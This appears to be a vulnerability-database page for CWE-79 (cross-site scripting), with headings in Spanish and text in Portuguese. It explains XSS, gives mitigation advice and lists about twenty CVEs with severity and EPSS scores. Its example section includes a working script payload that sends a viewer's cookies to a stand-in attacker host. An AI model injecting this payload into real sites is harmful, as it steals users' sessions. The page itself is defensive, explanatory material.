Fallos del tipo CWE-79

28.643 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-3346MEDIUMCisco Unified Communications Manager Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-25006—MOLIE <= 0.5 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2020-3551MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-26256MEDIUMWordPress Survey Maker plugin <= 2.0.6 - Unauthenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2020-13176—The Management Interface of the Teradici Cloud Access Connector and Cloud Access Connector Legacy for releases prior to April 24, 2020 (v16 EPSS 0.8%CVE-2024-43687HIGHXSS vulnerability in bannerconfig endpoint in TimeProvider 4100EPSS 0.8%CVE-2020-3599MEDIUMCisco Adaptive Security Appliance Software Web-Based Management Interface Reflected Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2024-40111MEDIUMA persistent (stored) cross-site scripting (XSS) vulnerability has been identified in Automad 2.0.0-alpha.4. This vulnerability enables an aEPSS 0.8%CVE-2023-7108MEDIUMcode-projects E-Commerce Website user_signup.php cross site scriptingEPSS 0.8%CVE-2022-23713—A cross-site-scripting (XSS) vulnerability was discovered in the Vega Charts Kibana integration which could allow arbitrary JavaScript to beEPSS 0.8%CVE-2022-3709MEDIUMA stored XSS vulnerability allows admin to super-admin privilege escalation in the Webadmin import group wizard of Sophos Firewall releases EPSS 0.8%CVE-2024-4041MEDIUMYoast SEO <= 22.5 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-21650HIGHStored XSS via html file upload in convosEPSS 0.8%CVE-2024-35236MEDIUMAudiobookshelf Cross-Site-Scripting vulnerability via crafted ebooksEPSS 0.8%CVE-2020-6973—Digi International ConnectPort LTS 32 MEI, Firmware Version 1.4.3 (82002228_K 08/09/2018), bios Version 1.2. Multiple cross-site scripting vEPSS 0.8%CVE-2023-22427MEDIUMStored cross-site scripting vulnerability in Theme switching function of SHIRASAGI v1.16.2 and earlier versions allows a remote attacker witEPSS 0.8%CVE-2022-32247—SAP NetWeaver Enterprise Portal - versions 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, is susceptible to script execution attack by an unautheEPSS 0.8%CVE-2023-24814HIGHPersisted Cross-Site Scripting in Frontend Rendering in typo3EPSS 0.8%CVE-2021-32812MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') and Improper Encoding or Escaping of Output in frontend/server/server.jsEPSS 0.8%CVE-2020-3463MEDIUMCisco Webex Meetings Reflected Cross-Site Scripting VulnerabilityEPSS 0.8%